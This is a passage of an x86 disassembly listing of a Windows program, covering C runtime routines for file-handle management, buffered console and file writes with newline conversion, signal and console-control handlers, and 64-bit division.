loc_40A577:				; CODE XREF: sub_40A370+1E2j
					; sub_40A370+200j
		sub	esi, edi


loc_40A579:				; CODE XREF: sub_40A370+1C6j
		test	esi, esi
		jg	short loc_40A538


loc_40A57D:				; CODE XREF: sub_40A370+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_40A5D5
		cmp	[ebp+var_4], 0
		jle	short loc_40A5D5
		mov	esi, [ebp+var_4]
		jmp	short loc_40A5D1
; ---------------------------------------------------------------------------


loc_40A590:				; CODE XREF: sub_40A370+263j
		cmp	esi, 20h
		jbe	short loc_40A59E
		mov	[ebp+var_8], 20h
		jmp	short loc_40A5A3
; ---------------------------------------------------------------------------


loc_40A59E:				; CODE XREF: sub_40A370+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A5A3:				; CODE XREF: sub_40A370+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A5CF
		push	edi
		push	offset asc_40FDC8 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A5CA
		add	[ebx+30h], edi
		jmp	short loc_40A5CF
; ---------------------------------------------------------------------------


loc_40A5CA:				; CODE XREF: sub_40A370+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A5CF:				; CODE XREF: sub_40A370+23Aj
					; sub_40A370+258j
		sub	esi, edi


loc_40A5D1:				; CODE XREF: sub_40A370+21Ej
		test	esi, esi
		jg	short loc_40A590


loc_40A5D5:				; CODE XREF: sub_40A370+213j
					; sub_40A370+219j
		xor	eax, eax


loc_40A5D7:				; CODE XREF: sub_40A370+74j
					; sub_40A370+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E0	proc near		; CODE XREF: sub_408B20+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE0C[eax*4]
		test	ebx, 4
		jz	short loc_40A5FF
		or	esi, 8


loc_40A5FF:				; CODE XREF: sub_40A5E0+1Aj
		test	ebx, 8
		jz	short loc_40A60D
		or	esi, 200h


loc_40A60D:				; CODE XREF: sub_40A5E0+25j
		test	ebx, 10h
		jz	short loc_40A61B
		or	esi, 100h


loc_40A61B:				; CODE XREF: sub_40A5E0+33j
		test	ebx, 20h
		jz	short loc_40A62B
		or	esi, 8000h
		jmp	short loc_40A631
; ---------------------------------------------------------------------------


loc_40A62B:				; CODE XREF: sub_40A5E0+41j
		or	esi, 4000h


loc_40A631:				; CODE XREF: sub_40A5E0+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B8B0
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A650	proc near		; CODE XREF: sub_408C70+Dp
		push	6
		call	sub_40BCC0
		pop	ecx
		push	1
		call	sub_4079E0
		pop	ecx
		retn
sub_40A650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A670	proc near		; CODE XREF: sub_40A860+4Bp
					; sub_40CC50+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_40A697
		xor	eax, eax
		jmp	loc_40A859
; ---------------------------------------------------------------------------


loc_40A697:				; CODE XREF: sub_40A670+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_40A6C3
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40BDF0
		add	esp, 0Ch


loc_40A6C3:				; CODE XREF: sub_40A670+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_40A7A4
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_40A790
; ---------------------------------------------------------------------------


loc_40A6F2:				; CODE XREF: sub_40A670+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_40A712
; ---------------------------------------------------------------------------


loc_40A6FA:				; CODE XREF: sub_40A670+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_40A70D
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_40A70D:				; CODE XREF: sub_40A670+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_40A712:				; CODE XREF: sub_40A670+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_40A732
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_40A6FA


loc_40A732:				; CODE XREF: sub_40A670+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08	; WriteFile
		test	eax, eax
		jz	short loc_40A785
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_40A790
		jmp	short loc_40A7ED
; ---------------------------------------------------------------------------


loc_40A785:				; CODE XREF: sub_40A670+FDj
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		jmp	short loc_40A7ED
; ---------------------------------------------------------------------------


loc_40A790:				; CODE XREF: sub_40A670+7Dj
					; sub_40A670+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_40A6F2
		jmp	short loc_40A7ED
; ---------------------------------------------------------------------------


loc_40A7A4:				; CODE XREF: sub_40A670+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08	; WriteFile
		test	eax, eax
		jz	short loc_40A7E4
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_40A7ED
; ---------------------------------------------------------------------------


loc_40A7E4:				; CODE XREF: sub_40A670+163j
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_40A7ED:				; CODE XREF: sub_40A670+113j
					; sub_40A670+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40A853
		cmp	[ebp+var_10], 0
		jz	short loc_40A81B
		cmp	[ebp+var_10], 5
		jnz	short loc_40A80C
		call	sub_4083A0
		mov	dword ptr [eax], 9
		jmp	short loc_40A816
; ---------------------------------------------------------------------------


loc_40A80C:				; CODE XREF: sub_40A670+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_408240
		pop	ecx


loc_40A816:				; CODE XREF: sub_40A670+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A859
; ---------------------------------------------------------------------------


loc_40A81B:				; CODE XREF: sub_40A670+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_40A843
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_40A843
		xor	eax, eax
		jmp	short loc_40A859
; ---------------------------------------------------------------------------


loc_40A843:				; CODE XREF: sub_40A670+1C5j
					; sub_40A670+1CDj
		call	sub_4083A0
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A859
; ---------------------------------------------------------------------------


loc_40A853:				; CODE XREF: sub_40A670+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_40A859:				; CODE XREF: sub_40A670+22j
					; sub_40A670+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A670	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A860	proc near		; CODE XREF: sub_408CA0+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40A88B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40A89B


loc_40A88B:				; CODE XREF: sub_40A860+Ej
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A8BE
; ---------------------------------------------------------------------------


loc_40A89B:				; CODE XREF: sub_40A860+29j
		push	ebx
		call	sub_40AC80
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40A670
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40A8BE:				; CODE XREF: sub_40A860+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8D0	proc near		; CODE XREF: DMN0:loc_40AC2Ap
					; sub_40B8E0:loc_40BADDp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_408740
		pop	ecx
		xor	esi, esi


loc_40A8E6:				; CODE XREF: sub_40A8D0+128j
		cmp	dword_413988[esi*4], 0
		jz	loc_40A99D
		mov	ebx, dword_413988[esi*4]
		jmp	loc_40A982
; ---------------------------------------------------------------------------


loc_40A900:				; CODE XREF: sub_40A8D0+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_40A97F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40A92F
		push	3
		call	sub_408740
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40A927
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		inc	dword ptr [ebx+8]


loc_40A927:				; CODE XREF: sub_40A8D0+48j
		push	3
		call	sub_4087C0
		pop	ecx


loc_40A92F:				; CODE XREF: sub_40A8D0+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		test	byte ptr [ebx+4], 1
		jz	short loc_40A94B
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		jmp	short loc_40A97F
; ---------------------------------------------------------------------------


loc_40A94B:				; CODE XREF: sub_40A8D0+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_413988[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_40A996
; ---------------------------------------------------------------------------


loc_40A97F:				; CODE XREF: sub_40A8D0+34j
					; sub_40A8D0+79j
		add	ebx, 24h


loc_40A982:				; CODE XREF: sub_40A8D0+2Bj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_40A900


loc_40A996:				; CODE XREF: sub_40A8D0+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A9F4
		jmp	short loc_40A9FE
; ---------------------------------------------------------------------------


loc_40A99D:				; CODE XREF: sub_40A8D0+1Ej
		push	480h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40A9FE
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_40A9D6
; ---------------------------------------------------------------------------


loc_40A9BE:				; CODE XREF: sub_40A8D0+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40A9D6:				; CODE XREF: sub_40A8D0+ECj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_40A9BE
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_40AC80
		pop	ecx
		jmp	short loc_40A9FE
; ---------------------------------------------------------------------------


loc_40A9F4:				; CODE XREF: sub_40A8D0+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_40A8E6


loc_40A9FE:				; CODE XREF: sub_40A8D0+CBj
					; sub_40A8D0+DCj ...
		push	4
		call	sub_4087C0
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AA10	proc near		; CODE XREF: sub_408D80+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_40AA9F
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_40AA9F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40AA9F
		test	ebx, ebx
		jz	short loc_40AA55
		cmp	ebx, 1
		jz	short loc_40AA64
		cmp	ebx, 2
		jz	short loc_40AA73
		jmp	short loc_40AA80
; ---------------------------------------------------------------------------


loc_40AA55:				; CODE XREF: sub_40AA10+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_40AA80
; ---------------------------------------------------------------------------


loc_40AA64:				; CODE XREF: sub_40AA10+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_40AA80
; ---------------------------------------------------------------------------


loc_40AA73:				; CODE XREF: sub_40AA10+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E0C	; SetStdHandle


loc_40AA80:				; CODE XREF: sub_40AA10+43j
					; sub_40AA10+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_40AAAD
; ---------------------------------------------------------------------------


loc_40AA9F:				; CODE XREF: sub_40AA10+Bj
					; sub_40AA10+2Bj ...
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AAAD:				; CODE XREF: sub_40AA10+8Dj
		pop	ebx
		retn
sub_40AA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AAB0	proc near		; CODE XREF: DMN0:0040AC4Cp
					; sub_40B8E0+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_40AB41
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_40AB41
		test	ebx, ebx
		jz	short loc_40AAEE
		cmp	ebx, 1
		jz	short loc_40AB00
		cmp	ebx, 2
		jz	short loc_40AB12
		jmp	short loc_40AB22
; ---------------------------------------------------------------------------


loc_40AAEE:				; CODE XREF: sub_40AAB0+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_40AB22
; ---------------------------------------------------------------------------


loc_40AB00:				; CODE XREF: sub_40AAB0+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_40AB22
; ---------------------------------------------------------------------------


loc_40AB12:				; CODE XREF: sub_40AAB0+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E0C	; SetStdHandle


loc_40AB22:				; CODE XREF: sub_40AAB0+3Cj
					; sub_40AAB0+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_40AB4F
; ---------------------------------------------------------------------------


loc_40AB41:				; CODE XREF: sub_40AAB0+Bj
					; sub_40AAB0+2Cj
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AB4F:				; CODE XREF: sub_40AAB0+8Fj
		pop	ebx
		retn
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AB60	proc near		; CODE XREF: sub_408D80+Cp
					; sub_408D80+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40ABA1
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_40ABA1
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_40ABAF
; ---------------------------------------------------------------------------


loc_40ABA1:				; CODE XREF: sub_40AB60+Bj
					; sub_40AB60+26j
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40ABAF:				; CODE XREF: sub_40AB60+3Fj
		pop	ebx
		retn
sub_40AB60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		call	sub_40AB60
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_40ABDF
		or	bl, 20h


loc_40ABDF:				; CODE XREF: DMN0:0040ABDAj
		test	word ptr [esp+14h], 4000h
		jz	short loc_40ABEB
		or	bl, 80h


loc_40ABEB:				; CODE XREF: DMN0:0040ABE6j
		test	byte ptr [esp+14h], 80h
		jz	short loc_40ABF5
		or	bl, 10h


loc_40ABF5:				; CODE XREF: DMN0:0040ABF0j
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40AC18
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_408240
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AC71
; ---------------------------------------------------------------------------


loc_40AC18:				; CODE XREF: DMN0:0040AC04j
		cmp	edi, 2
		jnz	short loc_40AC22
		or	bl, 40h
		jmp	short loc_40AC2A
; ---------------------------------------------------------------------------


loc_40AC22:				; CODE XREF: DMN0:0040AC1Bj
		cmp	edi, 3
		jnz	short loc_40AC2A
		or	bl, 8


loc_40AC2A:				; CODE XREF: DMN0:0040AC20j
					; DMN0:0040AC25j
		call	sub_40A8D0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AC46
		call	sub_4083A0
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AC71
; ---------------------------------------------------------------------------


loc_40AC46:				; CODE XREF: DMN0:0040AC34j
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_40AAB0
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_40AC71:				; CODE XREF: DMN0:0040AC16j
					; DMN0:0040AC44j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AC80	proc near		; CODE XREF: sub_408E20+3Ap
					; sub_40A860+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40ACC6
		push	3
		call	sub_408740
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40ACBE
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_40ACBE:				; CODE XREF: sub_40AC80+2Fj
		push	3
		call	sub_4087C0
		pop	ecx


loc_40ACC6:				; CODE XREF: sub_40AC80+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		pop	esi
		pop	ebx
		retn
sub_40AC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ACE0	proc near		; CODE XREF: sub_408E20+4Ap
					; sub_40A860+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_40ACE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; DATA XREF: sub_40AD50+A4o
					; sub_44BCD1+A4o
		push	ebx
		push	1
		push	2
		call	sub_40AD50
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AD2B
		test	ebx, ebx
		jnz	short loc_40AD2F


loc_40AD2B:				; CODE XREF: sub_40AD10+15j
		xor	eax, eax
		jmp	short loc_40AD4A
; ---------------------------------------------------------------------------


loc_40AD2F:				; CODE XREF: sub_40AD10+19j
		cmp	ebx, 1
		jz	short loc_40AD45
		push	0
		push	2
		call	sub_40AD50
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_40AD45:				; CODE XREF: sub_40AD10+22j
		mov	eax, 1


loc_40AD4A:				; CODE XREF: sub_40AD10+1Dj
		pop	ebx
		retn	4
sub_40AD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD50	proc near		; CODE XREF: sub_4091A0+18p
					; sub_4091A0+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_40AD6E
		cmp	ebx, 2Ch
		jge	short loc_40AD6E
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_40AD76


loc_40AD6E:				; CODE XREF: sub_40AD50+Ej
					; sub_40AD50+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_40AE26
; ---------------------------------------------------------------------------


loc_40AD76:				; CODE XREF: sub_40AD50+1Cj
		cmp	ebx, 4
		jz	short loc_40AD85
		cmp	ebx, 8
		jz	short loc_40AD85
		cmp	ebx, 0Bh
		jnz	short loc_40ADE4


loc_40AD85:				; CODE XREF: sub_40AD50+29j
					; sub_40AD50+2Ej
		call	sub_409090
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E4
		jnz	short loc_40ADC5
		push	0B0h
		call	sub_4081A0
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_40ADC0
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E4
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_40ADC5
; ---------------------------------------------------------------------------


loc_40ADC0:				; CODE XREF: sub_40AD50+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AE26
; ---------------------------------------------------------------------------


loc_40ADC5:				; CODE XREF: sub_40AD50+45j
					; sub_40AD50+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_40AE26
; ---------------------------------------------------------------------------


loc_40ADE4:				; CODE XREF: sub_40AD50+33j
		cmp	ebx, 2
		jnz	short loc_40AE12
		cmp	dword_41189C, 0
		jnz	short loc_40AE12
		push	1
		push	offset sub_40AD10
		call	dword_411E10	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40AE08
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AE26
; ---------------------------------------------------------------------------


loc_40AE08:				; CODE XREF: sub_40AD50+B1j
		mov	dword_41189C, 1


loc_40AE12:				; CODE XREF: sub_40AD50+97j
					; sub_40AD50+A0j
		lea	eax, ds:4117E4h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_40AE26:				; CODE XREF: sub_40AD50+21j
					; sub_40AD50+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AD50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AE30	proc near		; CODE XREF: sub_407AA0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40AE30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AE40	proc near		; CODE XREF: DMN0:0040928Cp
					; sub_40B000+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_40AE62
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40AEA3
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE40+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_40AE70:				; CODE XREF: sub_40AE40+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40AE70
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40AE9E
		cmp	edx, [esp+8+arg_C]
		ja	short loc_40AE9E
		jb	short loc_40AE9F
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_40AE9F


loc_40AE9E:				; CODE XREF: sub_40AE40+4Ej
					; sub_40AE40+54j
		dec	esi


loc_40AE9F:				; CODE XREF: sub_40AE40+56j
					; sub_40AE40+5Cj
		xor	edx, edx
		mov	eax, esi


